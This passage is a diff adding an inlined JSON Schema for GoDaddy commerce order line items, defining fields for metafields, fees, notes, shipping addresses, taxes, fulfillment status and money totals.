"https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the discount used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the discount", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Discount", + "type": "object" + }, + "type": "array" + }, + "externalId": { + "description": "External identifier for this line item", + "example": "CI-C8ACE3DB52D7", + "type": "string" + }, + "fees": { + "description": "Fees for a line item", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A miscellaneous fee can be applied at two levels: the broad order level (shipping fee or handling cost) and the individual line item level", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "appliedBeforeTax": { + "default": false, + "description": "Fee was applied to order / line item before calculating tax", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the fee (). Auto-generated by the service on creation", + "example": "2OzALCP9sWGrPHZs6PHVXWohzdm", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a fee", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the fee used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the fee", + "example": "a95253f9-c179-4561-9fb1-61edb2c8ccdb", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" + }, + "fulfilledAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "fulfillmentChannelId": { + "description": "ID of the fulfillment channel for the line item", + "type": "string" + }, + "fulfillmentMode": { + "$id": "https://godaddy.com/schemas/common/fulfillment-mode.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Possible fulfillment modes for a line item", + "enum": [ + "NONE", + "PICKUP", + "SHIP", + "CURBSIDE", + "DELIVERY", + "DRIVE_THRU", + "FOR_HERE", + "TO_GO", + "DIGITAL", + "PURCHASE", + "GENERAL_CONTAINER", + "QUICK_STAY", + "REGULAR_STAY", + "NON_LODGING_NRR", + "NON_LODGING_SALE", + "GIFT_CARD" + ], + "title": "Fulfillment Mode", + "type": "string" + }, + "id": { + "description": "Unique identifier for the line item (LineItem_). Auto-generated by the service on creation", + "example": "LineItem_2G5VsWEFhIktH8PY4qC0iOGDpVJ", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Custom metadata fields for the line item", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" + }, + "name": { + "description": "Name of the line item used for display purposes to the merchant and customer", + "type": "string" + }, + "notes": { + "description": "Notes for a line item", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/note.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A note can be applied at two levels: the broad order level and the individual line item level", + "properties": { + "author": { + "description": "Order note author. This could be a reference to an `employeeId`, etc.", + "type": "string" + }, + "authorType": { + "default": "NONE", + "description": "Possible note author types", + "enum": [ + "NONE", + "MERCHANT", + "CUSTOMER" + ], + "type": "string" + }, + "content": { + "description": "Order note content", + "example": "Please gift wrap my order :)", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "deletedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "externalIds": { + "description": "A set of externalIds associated with the note", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the note (). Auto-generated by the service on creation", + "example": "2OzALCIyt6zdX7FO0HONJRVjnYE", + "readOnly": true, + "type": "string" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a note", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the note", + "example": "27bfe2e3-c681-4cd8-8cd6-a44046cee86c", + "type": "string" + }, + "shouldNotifyCustomer": { + "default": false, + "description": "Consumers of Order Events can key off this attribute to decide if they need to notify customers", + "type": "boolean" + } + }, + "required": [ + "content" + ], + "title": "Note", + "type": "object" + }, + "type": "array" + }, + "orderVersion": { + "description": "Version identifier for the order schema", + "type": "string" + }, + "productId": { + "description": "Reference to a Product as defined by the V1 Catalog service", + "type": "string" + }, + "quantity": { + "description": "Quantity purchased by the customer. Note this could be a float value (e.g. 2.3 Kgs)", + "format": "float", + "type": "number" + }, + "refundedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "returnQuantity": { + "description": "Sum of all return quantities for the line item", + "format": "float", + "readOnly": true, + "type": "number" + }, + "returnTotals": { + "$id": "https://godaddy.com/schemas/commerce/orders/line-item-return-totals.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Grouped return totals for a line item.", + "properties": { + "addonsTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "discountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "feeTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "shippingTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "subTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "taxTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "total": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + } + }, + "title": "LineItemReturnTotals", + "type": "object" + }, + "returnedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "serviceEndsAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "serviceStartAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "shipping": { + "$id": "https://godaddy.com/schemas/commerce/orders/shipping.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Groups together relevant shipping details about an order or a line item", + "properties": { + "address": { + "$id": "https://godaddy.com/schemas/common/address.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", + "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, + "addressLine1": { + "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", + "maxLength": 300, + "type": "string" + }, + "addressLine2": { + "description": "The second line of the address. For example, office suite or apartment number.", + "maxLength": 300, + "type": "string" + }, + "addressLine3": { + "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", + "maxLength": 100, + "type": "string" + }, + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" + }, + "adminArea2": { + "description": "A city, town, or village. Smaller than `adminArea1`.", + "maxLength": 300, + "type": "string" + }, + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" + }, + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" + }, + "countryCode": { + "$id": "https://godaddy.com/schemas/common-types/country-code.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", + "maxLength": 2, + "minLength": 2, + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" + }, + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" + } + }, + "required": [ + "countryCode" + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" + }, + "companyName": { + "description": "Company name associated with the shipping info", + "type": "string" + }, + "email": { + "description": "The email address associated with shipping", + "example": "test@gmail.com", + "format": "email", + "type": "string" + }, + "firstName": { + "description": "First name associated with the shipping info", + "type": "string" + }, + "lastName": { + "description": "Last name associated with the shipping info", + "type": "string" + }, + "phone": { + "description": "The phone number associated with the shipping info", + "format": "phone", + "type": "string" + } + }, + "title": "Shipping", + "type": "object" + }, + "skuGroupId": { + "description": "Reference to a SKU Group entity as defined by the V2 Catalog service.", + "type": "string" + }, + "skuId": { + "description": "Reference to a SKU as defined by the V2 Catalog service", + "type": "string" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/orders/fulfillment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The current fulfillment status for an order or line item", + "enum": [ + "UNFULFILLED", + "ON_HOLD", + "IN_PROGRESS", + "PARTIALLY_FULFILLED", + "FULFILLED", + "PARTIALLY_RETURNED", + "RETURNED", + "AWAITING", + "CONFIRMED", + "CANCELED" + ], + "title": "Fulfillment Status", + "type": "string" + }, + "tags": { + "description": "Tags associated to this line item", + "items": { + "description": "A tag is an attribute of a line item that does not change", + "example": "FREE_SHIPPING", + "type": "string" + }, + "maxItems": 5, + "type": "array" + }, + "taxes": { + "description": "Taxes for a line item", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/tax.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An Order Item tax can be applied at the level of an individual line item or shipping line", + "properties": { + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "exempted": { + "default": false, + "description": "Determines whether the tax was exempted. Can be used to explicitly explain why a tax has a zero amount", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the tax object", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the tax object (). Auto-generated by the service on creation", + "example": "2OzALD8dzE5gQUiia1qA2gvQJsn", + "readOnly": true, + "type": "string" + }, + "included": { + "default": false, + "description": "Determines whether the tax was included in order / line item / shipping subtotals", + "type": "boolean" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a tax", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the tax used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the tax object", + "example": "141b4db0-d0d6-4792-9251-a35b2bc304c6", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Order Item Tax", + "type": "object" + }, + "type": "array" + }, + "totals": { + "description": "Grouped totals for a line item", + "properties": { + "addonsTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "discountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "feeTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + 